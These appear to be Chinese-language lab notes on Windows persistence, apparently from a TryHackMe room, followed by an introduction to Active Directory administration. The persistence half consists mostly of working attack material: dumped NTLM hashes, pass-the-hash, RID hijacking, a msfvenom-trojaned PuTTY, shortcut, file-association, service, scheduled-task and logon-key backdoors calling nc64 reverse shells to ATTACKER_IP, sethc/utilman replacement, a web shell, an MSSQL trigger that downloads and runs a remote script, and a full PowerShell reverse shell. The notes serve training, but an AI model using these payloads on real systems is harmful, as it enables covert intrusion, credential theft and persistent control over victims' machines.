WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:58f8e0214224aebc2c5f82fb7cb47ca1:::
thmuser1:1008:aad3b435b51404eeaad3b435b51404ee:f3118544a831e728781d780cfdb9c1fa:::
thmuser2:1009:aad3b435b51404eeaad3b435b51404ee:f3118544a831e728781d780cfdb9c1fa:::
thmuser3:1010:aad3b435b51404eeaad3b435b51404ee:f3118544a831e728781d780cfdb9c1fa:::
thmuser0:1011:aad3b435b51404eeaad3b435b51404ee:f3118544a831e728781d780cfdb9c1fa:::
thmuser4:1013:aad3b435b51404eeaad3b435b51404ee:8767940d669d0eb618c15c11952472e5:::
[-] NTDSHashes.__init__() got an unexpected keyword argument 'skipUser'
[*] Cleaning up...

传递哈希函数以管理员权限连接到受害机器

1
evil-winrm -i 10.10.90.142 -u Administrator -H f3118544a831e728781d780cfdb9c1fa

特殊权限和安全描述符

无需修改任何组成员身份即可实现与将用户添加到备份操作员组类似的结果。特殊组之所以特殊,是因为操作系统默认为它们分配了特定权限。权限只是在系统本身上执行任务的能力。它们包括简单的事情,例如具有关闭服务器的能力,以及非常特权的操作,例如能够拥有系统上任何文件的所有权。可以在此处找到可用权限的完整列表以供参考。

对于备份操作员组,其默认分配有以下两个权限:

  • **SeBackupPrivilege:**用户可以读取系统中的任何文件,忽略任何现有的DACL 。
  • **SeRestorePrivilege:**用户可以写入系统中的任何文件,忽略任何现有的DACL 。

我们可以将此类权限分配给任何用户,而不管其组成员身份如何。为此,我们可以使用该secedit命令。首先,我们将当前配置导出到临时文件:

1
secedit /export /cfg config.inf

我们打开文件并将我们的用户添加到有关 SeBackupPrivilege 和 SeRestorePrivilege 的配置行中

config.inf 内容

我们最终将.inf 文件转换为.sdb 文件,然后使用该文件将配置加载回系统:

1
2
3
secedit /import /cfg config.inf /db config.sdb

secedit /configure /db config.sdb /cfg config.inf

现在,您应该拥有一个与任何备份操作员具有同等权限的用户。该用户仍然无法通过 WinRM 登录系统,因此让我们采取一些措施。我们不会将用户添加到远程管理用户组,而是更改与 WinRM 服务关联的安全描述符以允许 thmuser2 连接。将安全描述符视为应用于其他系统设施的ACL 。

要打开 WinRM 安全描述符的配置窗口,您可以在 Powershell 中使用以下命令(您需要为此使用GUI会话):

1
Set-PSSessionConfiguration -Name Microsoft.PowerShell -showSecurityDescriptorUI

这将打开一个窗口,您可以在其中添加 thmuser2 并为其分配连接到 WinRM 的全部权限:

WinRM 安全描述符

完成此操作后,我们的用户可以通过 WinRM 连接。由于用户具有 SeBackup 和 SeRestore 权限,我们可以重复这些步骤从 SAM 恢复密码哈希并重新连接到管理员用户。

注意,要使该用户充分使用给定的权限,您必须更改LocalAccountTokenFilterPolicy注册表项,像上一节中一样

如果你检查用户的组成员身份,你会发现它看起来像一个普通用户。

1
2
3
4
5
C:\> net user thmuser2
User name thmuser2

Local Group Memberships *Users
Global Group memberships *None

RID劫持

无需成为管理员即可获得管理权限的另一种方法是更改某些注册表值,以使操作系统认为您是管理员。

创建用户时,会为其分配一个称为**相对 ID (RID)**的标识符。RID 只是一个代表整个系统中用户的数字标识符。当用户登录时,LSASS 进程从 SAM 注册表配置单元获取其 RID,并创建与该 RID 关联的访问令牌。如果我们可以篡改注册表值,我们就可以让 Windows 通过将相同的 RID 关联到两个帐户来为非特权用户分配管理员访问令牌。

在任何 Windows 系统中,默认管理员帐户都被分配了RID = 500,而普通用户的RID 通常为 >= 1000

要查找任何用户的分配的 RID,可以使用以下命令:

1
wmic useraccount get name,sid

RID 是 SID 的最后一位(1010 表示 thmuser3,500 表示管理员)。SID 是一个标识符,它允许操作系统跨域识别用户,但此时,我们不会太在意其余部分。

现在我们只需将 RID=500 分配给 thmuser3。为此,我们需要使用 Regedit 访问 SAM。SAM 仅限于 SYSTEM 帐户,因此即使是管理员也无法编辑它。要以 SYSTEM 身份运行 Regedit,我们将使用psexec

1
PS C:\tools\pstools> .\PsExec.exe -i -s regedit

从 Regedit 中,我们将转到HKLM\SAM\SAM\Domains\Account\Users\计算机中每个用户对应的键。由于我们想要修改 thmuser3,因此我们需要搜索一个键,其 RID 为十六进制 (1010 = 0x3F2)。在相应的键下,将有一个名为F的值,它在位置 0x30 处保存用户的有效 RID:

RID 劫持 1

请注意,RID 采用小端表示法存储,因此其字节显示为反转。

现在,我们将用十六进制的管理员 RID(500 = 0x01F4)替换这两个字节,并交换字节(F401):

RID劫持2

thmuser3 下次登录时,LSASS 会将其与管理员相同的 RID 关联,并授予其相同的权限。

后门文件

建立持久性的另一种方法是篡改我们知道用户经常与之交互的一些文件。通过对这些文件进行一些修改,我们可以植入后门,只要用户访问这些文件,后门就会执行。

  • 可执行文件

如果您在桌面上发现任何可执行文件,则用户很可能会经常使用它。假设我们找到了一个 PuTTY 的快捷方式。如果我们检查快捷方式的属性,我们可以看到它(通常)指向C:\Program Files\PuTTY\putty.exe。从那一刻起,我们可以将可执行文件下载到攻击者的机器上并对其进行修改以运行我们想要的任何有效载荷。

你可以使用 轻松地在任何 .exe 文件中植入你喜欢的有效载荷msfvenom。二进制文件仍将照常工作,但通过在二进制文件中添加额外线程,可以静默执行其他有效载荷。要创建后门 putty.exe,我们可以使用以下命令:

1
msfvenom -a x64 --platform windows -x putty.exe -k -p windows/x64/shell_reverse_tcp lhost=ATTACKER_IP lport=4444 -b "\x00" -f exe -o puttyX.exe

生成的 puttyX.exe 将在用户不知情的情况下执行 reverse_tcp meterpreter 有效负载。虽然这种方法足以建立持久性,但让我们看看其他更隐蔽的技术。

  • 快捷方式文件

如果我们不想改变可执行文件,我们总是可以篡改快捷方式文件本身。我们可以将其改为指向一个脚本,该脚本将运行后门,然后正常执行常规程序,而不是直接指向预期的可执行文件。

例子:

检查管理员桌面上的calc快捷方式。如果我们右键单击它并转到属性,我们将看到它指向的位置:

计算属性

在劫持快捷方式的目标之前,让我们在C:\Windows\System32或任何其他隐蔽位置创建一个简单的 Powershell 脚本。该脚本将执行反向 shell,然后从快捷方式属性上的原始位置运行 calc.exe:

1
2
3
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4445"

C:\Windows\System32\calc.exe

最后,我们将更改快捷方式以指向我们的脚本。请注意,执行此操作时快捷方式的图标可能会自动调整。确保将图标指向原始可执行文件,以便用户看不到任何可见的更改。我们还想在隐藏窗口上运行我们的脚本,为此我们将向Powershell 添加选项-windowstyle hidden。快捷方式的最终目标是:

1
powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor.ps1

带有后门的 lnk 文件

启动一个 nc 监听器来在攻击机上接收反向 shell:

1
user@AttackBox$ nc -lvp 4445

如果您双击该快捷方式,您应该会重新连接到攻击者的计算机。同时,用户将获得他们所期望的计算器。您可能会注意到命令提示符在屏幕上闪烁并立即消失。希望普通用户不会太介意这一点。

  • 劫持文件关联

除了通过可执行文件或快捷方式进行持久保存之外,我们还可以劫持任何文件关联,以强制操作系统在用户打开特定文件类型时运行 shell。

默认操作系统文件关联保存在注册表中,其中以下路径HKLM\Software\Classes\每个文件类型存储一个键。假设我们想检查哪个程序用于打开 .txt 文件;我们可以直接检查.txt子键并找到与其关联的程序 ID (ProgID) 。ProgID 只是系统上安装的程序的标识符。对于 .txt 文件,我们将获得以下 ProgID:

注册表中的文件扩展名

然后,我们可以搜索相应 ProgID 的子项(也在 下HKLM\Software\Classes\),在本例中为 txtfile,我们将在其中找到对负责处理 .txt 文件的程序的引用。大多数 ProgID 条目都会有一个子项,在该子项下shell\open\command指定了针对具有该扩展名的文件运行的默认命令:

注册表中的 ProgID

在这种情况下,当你尝试打开 .txt 文件时,系统将执行%SystemRoot%\system32\NOTEPAD.EXE %1,其中%1代表打开的文件的名称。如果我们想劫持此扩展,我们可以用执行后门的脚本替换该命令,然后照常打开文件。首先,让我们创建一个具有以下内容的 ps1 脚本并将其保存到C:\Windows\backdoor2.ps1

1
2
Start-Process -NoNewWindow "c:\tools\nc64.exe" "-e cmd.exe ATTACKER_IP 4448"
C:\Windows\system32\NOTEPAD.EXE $args[0]

请注意,在 Powershell 中,我们必须传递$args[0]给记事本,因为它将包含要打开的文件的名称,如通过 给出的那样%1

现在让我们更改注册表项以在隐藏窗口中运行我们的后门脚本:

1
powershell.exe -WindowStyle hidden C:\Windows\System32\backdoor2.ps1 %1

后门 ProgID

最后,为你的反向 shell 创建一个监听器,并尝试打开受害者机器上的任何 .txt 文件(如果需要,创建一个)。你应该会收到一个具有打开文件的用户权限的反向 shell。

滥用服务

Windows 服务提供了一种很好的建立持久性的方法,因为它们可以配置为在受害计算机启动时在后台运行。如果我们可以利用任何服务为我们运行某些东西,那么每次启动受害计算机时,我们都可以重新获得对受害计算机的控制权。

服务基本上是在后台运行的可执行文件。配置服务时,您可以定义要使用的可执行文件,并选择服务是在计算机启动时自动运行还是应手动启动。

我们可以通过两种主要方式滥用服务来建立持久性:创建新服务或修改现有服务以执行我们的有效载荷。

  • 创建后门服务

可以使用以下命令创建并启动名为“THMservice”的服务

1
2
sc.exe create THMservice binPath= "net user Administrator Passwd123" start= auto
sc.exe start THMservice

每个等号后面必须有一个空格才能使命令起作用

服务启动时将执行“net user”命令,将管理员密码重置为Passwd123。请注意,服务已设置为自动启动(start= auto),这样它无需用户交互即可运行。

重置用户密码已经足够好了,但我们也可以用 msfvenom 创建反向 shell,并将其与创建的服务关联起来。但请注意,服务可执行文件是唯一的,因为它们需要实现系统处理的特定协议。如果要创建与 Windows 服务兼容的可执行文件,可以使用msfvenom 中的格式exe-service

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4448 -f exe-service -o rev-svc.exe

将可执行文件复制到目标系统,并将C:\Windows服务的 binPath 指向它

windows可使用

1
Invoke-WebRequest <ip:port> -OutFile <path>

下载文件,等同于wget

  • 修改现有服务

虽然创建新服务以实现持久性效果很好,但蓝队可能会监控整个网络的新服务创建。我们可能希望重用现有服务,而不是创建一个服务以避免被发现。通常,任何禁用的服务都是不错的选择,因为它可以在用户不知情的情况下被更改。

您可以使用以下命令获取可用服务的列表:

1
sc.exe query state=all

在靶机中找到一个名为 THMService3 的已停止服务。要查询该服务的配置,您可以使用以下命令:

1
sc.exe qc THMService3

在使用服务实现持久性时,我们关心三件事:

  • 可执行文件(BINARY_PATH_NAME)应该指向我们的有效载荷。
  • 服务START_TYPE应该是自动的,以便有效载荷无需用户交互即可运行。
  • SERVICE_START_NAME是服务运行的帐户,最好设置为LocalSystem****以获取 SYSTEM 权限。

让我们首先使用 msfvenom 创建一个新的反向 shell:

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=5558 -f exe-service -o rev-svc2.exe

重新配置“THMservice3”参数,我们可以使用以下命令:

1
sc.exe config THMservice3 binPath= "C:\Windows\rev-svc2.exe" start= auto obj= "LocalSystem"

滥用计划任务

  • 任务计划程序

安排任务的最常见方式是使用内置的Windows 任务计划程序。任务计划程序允许对任务的启动时间进行精细控制,允许您配置在特定时间激活、定期重复甚至在发生特定系统事件时触发的任务。从命令行,您可以使用与任务计划程序进行交互。可以在Microsoft 网站上找到schtasks该命令的完整参考。

让我们创建一个每分钟运行一次反向 shell 的任务。在现实渗透中,往往不需要如此频繁

1
2
C:\> schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr "c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449" /ru SYSTEM
SUCCESS: The scheduled task "THM-TaskBackdoor" has successfully been created.

上面的命令将创建一个“THM-TaskBackdoor”任务并执行 nc64反向 shell 返回给攻击者。/sc/mo选项表示该任务应每分钟运行一次。/ru选项表示该任务将以 SYSTEM 权限运行。

要检查我们的任务是否已成功创建,我们可以使用以下命令:

1
schtasks /query /tn thm-taskbackdoor
  • 使任务不可见

如果受感染的用户试图列出其计划任务,我们的后门就会被发现。为了进一步隐藏我们的计划任务,我们可以通过删除其**安全描述符 (SD)**使其对系统中的任何用户不可见。安全描述符只是一个 ACL,它说明哪些用户可以访问计划任务。如果您的用户无权查询计划任务,您将无法再看到它,因为 Windows 只会显示您有权使用的任务。删除 SD 相当于禁止所有用户访问计划任务,包括管理员。

所有计划任务的安全描述符都存储在 中HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\。您将为每个任务找到一个注册表项,该项下名为“SD”的值包含安全描述符。只有拥有 SYSTEM 权限才能删除该值。

为了隐藏我们的任务,让我们删除之前创建的“THM-TaskBackdoor”任务的 SD 值。为此,我们将使用psexec以 SYSTEM 权限打开 Regedit

1
c:\tools\pstools\PsExec64.exe -s -i regedit

然后我们将删除我们任务的安全描述符:

任务计划程序

如果我们再次尝试查询我们的服务,系统会告诉我们没有这样的任务:

1
2
C:\> schtasks /query /tn thm-taskbackdoor 
ERROR: The system cannot find the file specified.

登录触发持久性

用户执行的某些操作也可能与执行特定有效负载绑定以实现持久性。Windows 操作系统提供了几种将有效负载与特定交互关联起来的方法。此任务将研究植入将在用户登录系统时执行的有效负载的方法。

  • 启动文件夹

每个用户都有一个文件夹C:\Users\<your_username>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup,您可以在其中放置可执行文件,以便在用户登录时运行。攻击者只需在其中放置有效载荷即可实现持久性。请注意,每个用户只会运行其文件夹中可用的任何内容。

如果我们想强制所有用户在登录时运行有效负载,我们可以以相同的方式使用下面的文件夹C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

使用 msfvenom 生成一个反向 shell payload

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4450 -f exe -o revshell.exe

将有效载荷复制到受害机器中,将有效载荷存储到C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp文件夹中,以便任何登录机器的用户都可以获得一个 shell。

  • 运行/运行一次

通过注册表强制用户在登录时执行程序。您可以使用以下注册表项来指定登录时要运行的应用程序,而不是将有效负载传递到特定目录中:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
  • HKLM\Software\Microsoft\Windows\CurrentVersion\Run
  • HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

HKCU下的注册表项仅适用于当前用户,HKLM下的注册表项适用于所有人。Run键下指定的任何程序将在用户每次登录时运行。RunOnce键下指定的程序只会执行一次。

用 msfvenom 创建一个新的反向 shell:

1
user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4451 -f exe -o revshell.exe

将其传输到受害机器后,让我们将其移动到C:\Windows\

1
C:\> move revshell.exe C:\Windows

然后我们在REG_EXPAND_SZ下创建一个注册表项HKLM\Software\Microsoft\Windows\CurrentVersion\Run。该项的名称可以是任何你喜欢的名称,其值将是我们要执行的命令。

后门运行入口

完成此操作后,退出当前会话并重新登录,收到shell

  • 操作系统

登录时自动启动程序的另一种方法是滥用 Winlogon,它是在身份验证后立即加载用户配置文件的 Windows 组件(以及其它功能)。

Winlogon 使用下面的一些注册表项HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\来获得持久性:

  • Userinit指向userinit.exe,它负责恢复您的用户配置文件偏好设置。
  • shell指向系统的shell,通常是explorer.exe

Winlogon 注册表

如果我们用某个反向 shell 替换任何可执行文件,我们就会破坏登录顺序,而这并不是我们所希望的。有趣的是,您可以附加用逗号分隔的命令,Winlogon 将处理所有这些命令。

我们将像之前一样将 shell 传输到受害机器。然后我们可以将 shell 复制到我们喜欢的任何目录。然后我们在 中改变shellUserinit

存在后门的 userinit

  • 登陆脚本

加载用户配置文件时要做的事情之一是userinit.exe检查名为UserInitMprLogonScript的环境变量。我们可以使用此环境变量为用户分配登录脚本,该脚本将在登录计算机时运行。默认情况下未设置该变量,因此我们可以创建它并分配我们喜欢的任何脚本。

请注意,每个用户都有自己的环境变量;因此,您需要分别对每个用户进行后门处理。

首先创建一个用于此技术的反向shell:

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4453 -f exe -o revshell.exe
1
move revshell.exe C:\Windows

要为用户创建环境变量,您可以转到HKCU\Environment注册表中的环境变量。我们将使用该UserInitMprLogonScript条目指向我们的有效负载,以便在用户登录时加载它:

后门环境

请注意,此注册表项在HKLM中没有等效项,这使得您的后门仅适用于当前用户。

对login screen/RDP进行后门攻击

如果我们可以物理访问该机器(或在我们的例子中是RDP),则可以对登录屏幕进行后门操作以访问终端,而无需拥有机器的有效凭据。

  • 粘滞键

当按下CTRL + ALT + DEL等组合键时,您可以将 Windows 配置为使用粘滞键,这样您就可以按顺序按下组合键,而不是同时按下。

为了使用粘滞键建立持久性,我们将滥用 Windows 安装中默认启用的快捷方式,该快捷方式允许我们按SHIFT5 次即可激活粘滞键。输入快捷方式后,我们通常会看到如下所示的屏幕:

粘滞键

SHIFT5 次后,Windows 将执行 中的二进制文件C:\Windows\System32\sethc.exe。如果我们能够将此类二进制文件替换为我们喜欢的有效载荷,那么我们就可以使用快捷方式触发它。有趣的是,我们甚至可以在输入任何凭据之前从登录屏幕执行此操作。

一个直接对登录屏幕进行后门操作的方法是将其替换sethc.execmd.exe的副本。这样,我们就可以使用粘滞键快捷方式生成控制台,甚至可以从登录屏幕生成控制台。

要覆盖sethc.exe,我们首先需要取得文件的所有权并授予当前用户修改它的权限。只有这样,我们才能用cmd.exe的副本替换它。我们可以使用以下命令执行此操作:

1
2
3
4
5
6
7
PS C:\Users\Administrator> takeown /f c:\Windows\System32\sethc.exe

SUCCESS: The file (or folder): "c:\Windows\System32\sethc.exe" now owned by user "WPERSISTENCE\Administrator".
PS C:\Users\Administrator> icacls C:\Windows\System32\sethc.exe /grant Administrator:F
processed file: C:\Windows\System32\sethc.exe
Successfully processed 1 files; Failed processing 0 files
PS C:\Users\Administrator> copy c:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe

完成此操作后,从开始菜单锁定您的会话:

锁定会话

您现在应该能够按SHIFT五次直接从登录屏幕访问具有 SYSTEM 权限的终端:

sethc 后门

  • Utilman

此部分和提权阶段相同

Utilman 是一个内置的 Windows 应用程序,用于在锁定屏幕期间提供轻松访问选项:

实用工具

当我们点击登录屏幕上的轻松访问按钮时,它会以 SYSTEM 权限执行C:\Windows\System32\Utilman.exe。如果我们用 的副本替换它cmd.exe,我们就可以再次绕过登录屏幕。

为了替换utilman.exe,我们执行与 类似的过程sethc.exe

1
2
3
4
5
6
7
8
9
10
11
C:\> takeown /f c:\Windows\System32\utilman.exe

SUCCESS: The file (or folder): "c:\Windows\System32\utilman.exe" now owned by user "PURECHAOS\Administrator".

C:\> icacls C:\Windows\System32\utilman.exe /grant Administrator:F
processed file: C:\Windows\System32\utilman.exe
Successfully processed 1 files; Failed processing 0 files

C:\> copy c:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
Overwrite C:\Windows\System32\utilman.exe? (Yes/No/All): yes
1 file(s) copied.

为了触发我们的终端,我们将从开始按钮锁定屏幕:

锁定会话

最后,继续单击“轻松访问”按钮。由于我们替换了utilman.exe副本cmd.exe,我们将获得具有 SYSTEM 权限的命令提示符:

后门实用程序

使用现有服务

如果您不想使用 Windows 功能来隐藏后门,您可以随时利用任何可用于为您运行代码的现有服务。此任务将研究如何在典型的 Web 服务器设置中植入后门。不过,任何其他您可以在一定程度上控制执行内容的应用程序都应该可以类似地植入后门。可能性是无穷无尽的!

  • 使用WebShell

在 Web 服务器中实现持久性的常用方法是将 Web Shell 上传到 Web 目录。这很简单,将授予我们 IIS 中配置用户的权限,默认情况下为iis apppool\defaultapppool。即使这是一个非特权用户,它也具有特殊的SeImpersonatePrivilege,提供了一种使用各种已知漏洞轻松升级到管理员权限的方法。

此处涉及的提权方法可参考Windows提权

首先下载一个 ASP.NET web shell。 此处提供了一个现成的 web shell ,但您可以随意使用您喜欢的任何 web shell。将其传输到受害者机器并将其移动到 webroot 中,默认情况下位于以下C:\inetpub\wwwroot目录中:

1
C:\> move shell.aspx C:\inetpub\wwwroot\

根据您创建/传输 的方式 shell.aspx,文件中的权限可能不允许 Web 服务器访问它。如果您在访问 shell 的 URL 时收到“权限被拒绝”错误,只需授予每个人对文件的完整权限即可使其正常工作。您可以使用icacls shell.aspx /grant Everyone:F来执行此操作。

  • 利用MSSQL触发器作为后门

MSSQL 中的触发器允许您绑定在数据库中发生特定事件时要执行的操作。这些事件的范围可以从用户登录到从给定表插入、更新或删除数据。对于此任务,我们将为数据库中的任何 INSERT 操作创建一个触发器HRDB

在创建触发器之前,我们必须先在数据库上重新配置一些东西。首先,我们需要启用xp_cmdshell存储过程。xp_cmdshell是任何 MSSQL 安装中默认提供的存储过程,允许您直接在系统的控制台中运行命令,但默认情况下处于禁用状态。

启用Microsoft SQL Server Management Studio 18,当要求进行身份验证时,只需使用Windows 身份验证(默认值),您将使用当前 Windows 用户的凭据登录。默认情况下,本地管理员帐户将有权访问所有数据库。

登录后,单击**“新建查询”**按钮打开查询编辑器:

新的 SQL 查询

运行以下SQL语句,启用MSSQL配置中的“高级选项”,并继续启用xp_cmdshell

1
2
3
4
5
6
7
sp_configure 'Show Advanced Options',1;
RECONFIGURE;
GO

sp_configure 'xp_cmdshell',1;
RECONFIGURE;
GO

此后,我们必须确保任何访问数据库的网站都可以运行xp_cmdshell。默认情况下,只有具有sysadmin角色的数据库用户才能执行此操作。由于预计 Web 应用程序将使用受限数据库用户,因此我们可以向所有用户授予权限以模拟该sa用户,即默认数据库管理员:

1
2
3
USE master

GRANT IMPERSONATE ON LOGIN::sa to [Public];

完成所有这些后,我们终于配置了一个触发器。我们首先切换到数据库HRDB

1
USE HRDB

我们的触发器将利用xp_cmdshell执行 Powershell 从攻击者控制的 Web 服务器下载并运行.ps1文件。触发器将配置为 在数据库表INSERT中创建以下内容时执行:Employees``HRDB

1
2
3
4
5
6
CREATE TRIGGER [sql_backdoor]
ON HRDB.dbo.Employees
FOR INSERT AS

EXECUTE AS LOGIN = 'sa'
EXEC master..xp_cmdshell 'Powershell -c "IEX(New-Object net.webclient).downloadstring(''http://ATTACKER_IP:8000/evilscript.ps1'')"';

现在后门已经设置好了,让evilscript.ps1我们在攻击者的机器中创建一个包含 Powershell 反向 shell 的机器:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$client = New-Object System.Net.Sockets.TCPClient("ATTACKER_IP",4454);

$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};

$client.Close()

我们需要打开两个终端来处理此漏洞涉及的连接:

  • 触发器将执行第一个连接以下载并执行evilscript.ps1。我们的触发器为此使用端口 8000。
  • 第二个连接将是端口 4454 上的反向 shell,返回到我们的攻击者机器。
1
python3 -m http.server 
1
nc -lvvp 4454

AD域控

基础知识

Microsoft 的 Active Directory 是企业界的支柱。它简化了企业环境中的设备和用户的管理

想象一下,您管理着一个只有五台计算机和五名员工的小型企业网络。在这样一个小型网络中,您可能能够毫无问题地单独配置每台计算机。您将手动登录每台计算机,为使用它们的任何人创建用户,并为每个员工的帐户进行特定配置。如果用户的计算机停止工作,您可能会去他们那里并现场修理计算机。

虽然这听起来是一种非常轻松的生活方式,但假设您的业务突然发展壮大,现在拥有 157 台计算机和 320 个不同的用户,分布在四个不同的办公室。您是否仍然能够将每台计算机作为单独的实体进行管理,为网络中的每个用户手动配置策略,并为每个人提供现场支持?答案很可能是否定的。

为了克服这些限制,我们可以使用 Windows 域。简而言之,Windows 域是受特定企业管理的一组用户和计算机。域背后的主要思想是将 Windows 计算机网络的通用组件的管理集中在一个称为Active Directory ( AD )的单一存储库中。运行 Active Directory 服务的服务器称为域控制器 ( DC )

Windows 域概述

配置 Windows 域的主要优点是:

  • **集中身份管理:**可以轻松从 Active Directory 配置整个网络中的所有用户。
  • **管理安全策略:**您可以直接从 Active Directory 配置安全策略,并根据需要将其应用于网络上的用户和计算机。

Active Directory

任何 Windows 域的核心都是Active Directory 域服务 ( AD DS)。此服务充当目录,其中包含网络上存在的所有“对象”的信息。在 AD 支持的许多对象中,我们有用户、组、机器、打印机、共享和许多其他对象。让我们看看其中的一些:

*用户*

用户是 Active Directory 中最常见的对象类型之一。用户是称为安全主体的对象之一,这意味着他们可以通过域进行身份验证,并可以分配对文件或打印机等资源的权限。您可以说安全主体是可以对网络中的资源采取行动的对象。

用户可以用来表示两种类型的实体:

  • **人员:**用户通常代表组织中需要访问网络的人员,例如员工。
  • **服务:**您还可以定义 IIS 或 MSSQL 等服务所使用的用户。每项服务都需要用户运行,但服务用户与普通用户不同,因为他们只具有运行特定服务所需的权限。

*机器*

计算机是 Active Directory 中的另一种对象;对于加入 Active Directory 域的每台计算机,都会创建一个计算机对象。计算机也被视为“安全主体”,并像任何普通用户一样被分配一个帐户。此帐户在域内具有有限的权限。

机器帐户本身是指定计算机上的本地管理员,通常不应由计算机本身以外的任何人访问,但与任何其他帐户一样,如果您有密码,则可以使用它登录。

注意: 机器账户密码会自动轮换,一般由120个随机字符组成。

识别机器帐户相对容易。它们遵循特定的命名方案。机器帐户名称是计算机的名称后跟美元符号。例如,名为的机器DC01将有一个名为的机器帐户DC01$

*安全组*

如果您熟悉 Windows,您可能知道您可以定义用户组,将文件或其他资源的访问权限分配给整个组而不是单个用户。这可以提高可管理性,因为您可以将用户添加到现有组,并且他们将自动继承该组的所有权限。安全组也被视为安全主体,因此可以对网络上的资源拥有特权。

组可以同时包含用户和机器作为成员。如果需要,组还可以包含其他组。

域中默认创建了几个组,可用于向用户授予特定权限。例如,以下是域中一些最重要的组:

安全组 描述
Domain Admins 该组的用户拥有整个域的管理权限。默认情况下,他们可以管理域中的任何计算机,包括 DC。
Server Operators 此组中的用户可以管理域控制器。他们无法更改任何管理组成员身份。
Backup Operators 此组中的用户可以访问任何文件,而不受其权限的限制。它们用于在计算机上执行数据备份。
Account Operators 该组中的用户可以创建或修改域中的其他帐户。
Domain Users 包括域中所有现有的用户帐户。
Domain Computers 包括域中所有现有的计算机。
Domain Controllers 包括域中所有现有的 DC。

您可以从Microsoft 文档中获取默认安全组的完整列表。

  • Active Directory Users and Computers

要在 Active Directory 中配置用户、组或机器,我们需要登录到域控制器并从开始菜单运行"Active Directory Users and Computers"

开始菜单 AD 用户和计算机

这将打开一个窗口,您可以在其中看到域中存在的用户、计算机和组的层次结构。这些对象组织在**组织单位 (OU)**中,组织单位是容器对象,允许您对用户和机器进行分类。OU 主要用于定义具有类似监管要求的用户集。例如,您组织销售部门的人员可能与 IT 部门的人员应用不同的政策集。请记住,用户一次只能属于一个OU 。

检查我们的机器,我们可以看到已经有一个OU ——THM,它有四个子 OU ,分别用于 IT、管理、营销和销售部门。OU 模仿业务结构是很常见的,因为它允许高效地部署适用于整个部门的基线策略。请记住,虽然这在大多数情况下是预期的模型,但您可以任意定义 OU。您可以随意右键单击 OUTHM 并在其下创建一个新的OUStudents

AD 用户和计算机

如果您打开任何 OU,您可以看到其中包含的用户,并根据需要执行创建、删除或修改等简单任务。您还可以根据需要重置密码

IT 部门 OU

您可能已经注意到,除了 THM OU之外,还有其他默认容器。这些容器由 Windows 自动创建,包含以下内容:

  • Builtin(内置):包含任何 Windows 主机可用的默认组。

  • Computers(计算机):任何加入网络的机器都会默认放在这里。您可以根据需要移动它们。

  • Domain Controllers(域控制器):包含网络中的 DC 的默认OU 。

  • Users(用户):适用于域范围上下文的默认用户和组。

  • Managed Service Accounts(托管服务帐户):保存 Windows 域中的服务使用的帐户。

  • 安全组与 OU

您可能想知道为什么我们同时拥有组和 OU。虽然两者都用于对用户和计算机进行分类,但它们的用途完全不同:

  • OU可以方便地 将策略应用于用户和计算机,其中包括根据用户在企业中的特定角色而适用于用户组的特定配置。请记住,用户一次只能成为一个 OU 的成员,因为尝试将两组不同的策略应用于单个用户是没有意义的。
  • 另一方面,安全组用于授予对资源的权限。例如,如果您想允许某些用户访问共享文件夹或网络打印机,则可以使用组。用户可以是多个组的一部分,这是授予对多个资源的访问权限所必需的。
在AD中管理用户
  • 删除多余的 OU 和用户

尝试右键单击并删除该OU,您将收到以下错误:

OU 删除错误

默认情况下,OU 受到保护,以免意外删除。要删除 OU ,我们需要在“查看”菜单中启用**“高级功能” :**

启用高级功能

这将向您显示一些其他容器,并使您能够禁用意外删除保护。为此,右键单击 OU并转到属性。您将在“对象”选项卡中找到一个复选框以禁用保护:

禁用 OU 删除保护

确保取消选中该复选框,然后再次尝试删除OU。系统将提示您确认是否要删除OU,因此,其下的任何用户、组或 OU 也将被删除。

  • 委派

在AD中,您可以做的一件好事就是让特定用户对某些 OU 进行一些控制。这个过程称为委派 ,允许您授予用户特定权限,让他们对 OU 执行高级任务,而无需域管理员介入。

最常见的用例之一是授予IT support重置其他低权限用户密码的权限。根据我们的组织结构图,Phillip 负责 IT 支持,因此我们可能希望将重置销售、营销和管理 OU 密码的控制权委托给他。

在此示例中,我们将销售OU 的控制权委托给 Phillip。要委托某个OU 的控制权,您可以右键单击它并选择委托控制

委派 OU 控制

这将打开一个新窗口,首先会询问您要委派控制权的用户:

将销售 OU 委托给 Phillip

为了避免输入错误用户名,请输入“phillip”并单击**“检查姓名”**按钮。Windows 将自动为您填写用户。

单击“确定”,然后在下一步中选择以下选项:

委托密码重置

单击下一步几次,现在 Phillip 应该能够为销售部门的任何用户重置密码。

登录Phillip账户测试委派是否生效

1
2
3
4
5
